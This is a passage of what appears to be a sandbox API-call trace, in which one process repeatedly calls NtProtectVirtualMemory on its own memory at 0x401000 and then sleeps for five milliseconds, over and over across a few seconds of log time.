ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.128] Sleep (dwMilliseconds=0x5) [0300.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.171] Sleep (dwMilliseconds=0x5) [0300.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.232] Sleep (dwMilliseconds=0x5) [0300.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.279] Sleep (dwMilliseconds=0x5) [0300.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.327] Sleep (dwMilliseconds=0x5) [0300.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.375] Sleep (dwMilliseconds=0x5) [0300.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.422] Sleep (dwMilliseconds=0x5) [0300.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.475] Sleep (dwMilliseconds=0x5) [0300.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.523] Sleep (dwMilliseconds=0x5) [0300.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.581] Sleep (dwMilliseconds=0x5) [0300.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.620] Sleep (dwMilliseconds=0x5) [0300.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.669] Sleep (dwMilliseconds=0x5) [0300.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.713] Sleep (dwMilliseconds=0x5) [0300.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.782] Sleep (dwMilliseconds=0x5) [0300.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.830] Sleep (dwMilliseconds=0x5) [0300.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.870] Sleep (dwMilliseconds=0x5) [0300.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.920] Sleep (dwMilliseconds=0x5) [0300.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.963] Sleep (dwMilliseconds=0x5) [0301.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.005] Sleep (dwMilliseconds=0x5) [0301.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.045] Sleep (dwMilliseconds=0x5) [0301.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.090] Sleep (dwMilliseconds=0x5) [0301.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.139] Sleep (dwMilliseconds=0x5) [0301.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.292] Sleep (dwMilliseconds=0x5) [0301.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.344] Sleep (dwMilliseconds=0x5) [0301.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.389] Sleep (dwMilliseconds=0x5) [0301.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.432] Sleep (dwMilliseconds=0x5) [0301.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.483] Sleep (dwMilliseconds=0x5) [0301.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.528] Sleep (dwMilliseconds=0x5) [0301.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.575] Sleep (dwMilliseconds=0x5) [0301.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.627] Sleep (dwMilliseconds=0x5) [0301.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.674] Sleep (dwMilliseconds=0x5) [0301.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.716] Sleep (dwMilliseconds=0x5) [0301.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.797] Sleep (dwMilliseconds=0x5) [0301.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.839] Sleep (dwMilliseconds=0x5) [0301.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.889] Sleep (dwMilliseconds=0x5) [0301.932] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.933] Sleep (dwMilliseconds=0x5) [0301.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.982] Sleep (dwMilliseconds=0x5) [0302.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.031] Sleep (dwMilliseconds=0x5) [0302.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.085] Sleep (dwMilliseconds=0x5) [0302.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.125] Sleep (dwMilliseconds=0x5) [0302.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.172] Sleep (dwMilliseconds=0x5) [0302.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.230] Sleep (dwMilliseconds=0x5) [0302.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.278] Sleep (dwMilliseconds=0x5) [0302.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.329] Sleep (dwMilliseconds=0x5) [0302.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.417] Sleep (dwMilliseconds=0x5) [0302.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.465] Sleep (dwMilliseconds=0x5) [0302.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.511] Sleep (dwMilliseconds=0x5) [0302.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.558] Sleep (dwMilliseconds=0x5) [0302.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.609] Sleep (dwMilliseconds=0x5) [0302.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.652] Sleep (dwMilliseconds=0x5) [0302.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.703] Sleep (dwMilliseconds=0x5) [0302.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.787] Sleep (dwMilliseconds=0x5) [0302.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.842] Sleep (dwMilliseconds=0x5) [0302.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.881] Sleep (dwMilliseconds=0x5) [0302.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.924] Sleep (dwMilliseconds=0x5) [0302.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.972] Sleep (dwMilliseconds=0x5) [0303.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.016] Sleep (dwMilliseconds=0x5) [0303.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.059] Sleep (dwMilliseconds=0x5) [0303.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.105] Sleep (dwMilliseconds=0x5) [0303.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.153] Sleep (dwMilliseconds=0x5) [0303.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.197] Sleep (dwMilliseconds=0x5) [0303.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.249] Sleep (dwMilliseconds=0x5) [0303.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.293] Sleep (dwMilliseconds=0x5) [0303.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.339] Sleep (dwMilliseconds=0x5) [0303.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.387] Sleep (dwMilliseconds=0x5) [0303.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.434] Sleep (dwMilliseconds=0x5) [0303.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.476] Sleep (dwMilliseconds=0x5) [0303.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.523] Sleep (dwMilliseconds=0x5) [0303.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.575] Sleep (dwMilliseconds=0x5) [0303.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.617] Sleep (dwMilliseconds=0x5) [0303.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.665] Sleep (dwMilliseconds=0x5) [0303.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.712] Sleep (dwMilliseconds=0x5) [0303.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.759] Sleep (dwMilliseconds=0x5) [0303.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.824] Sleep (dwMilliseconds=0x5) [0303.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.871] Sleep (dwMilliseconds=0x5) [0303.918] NtProtectVirtualMemory 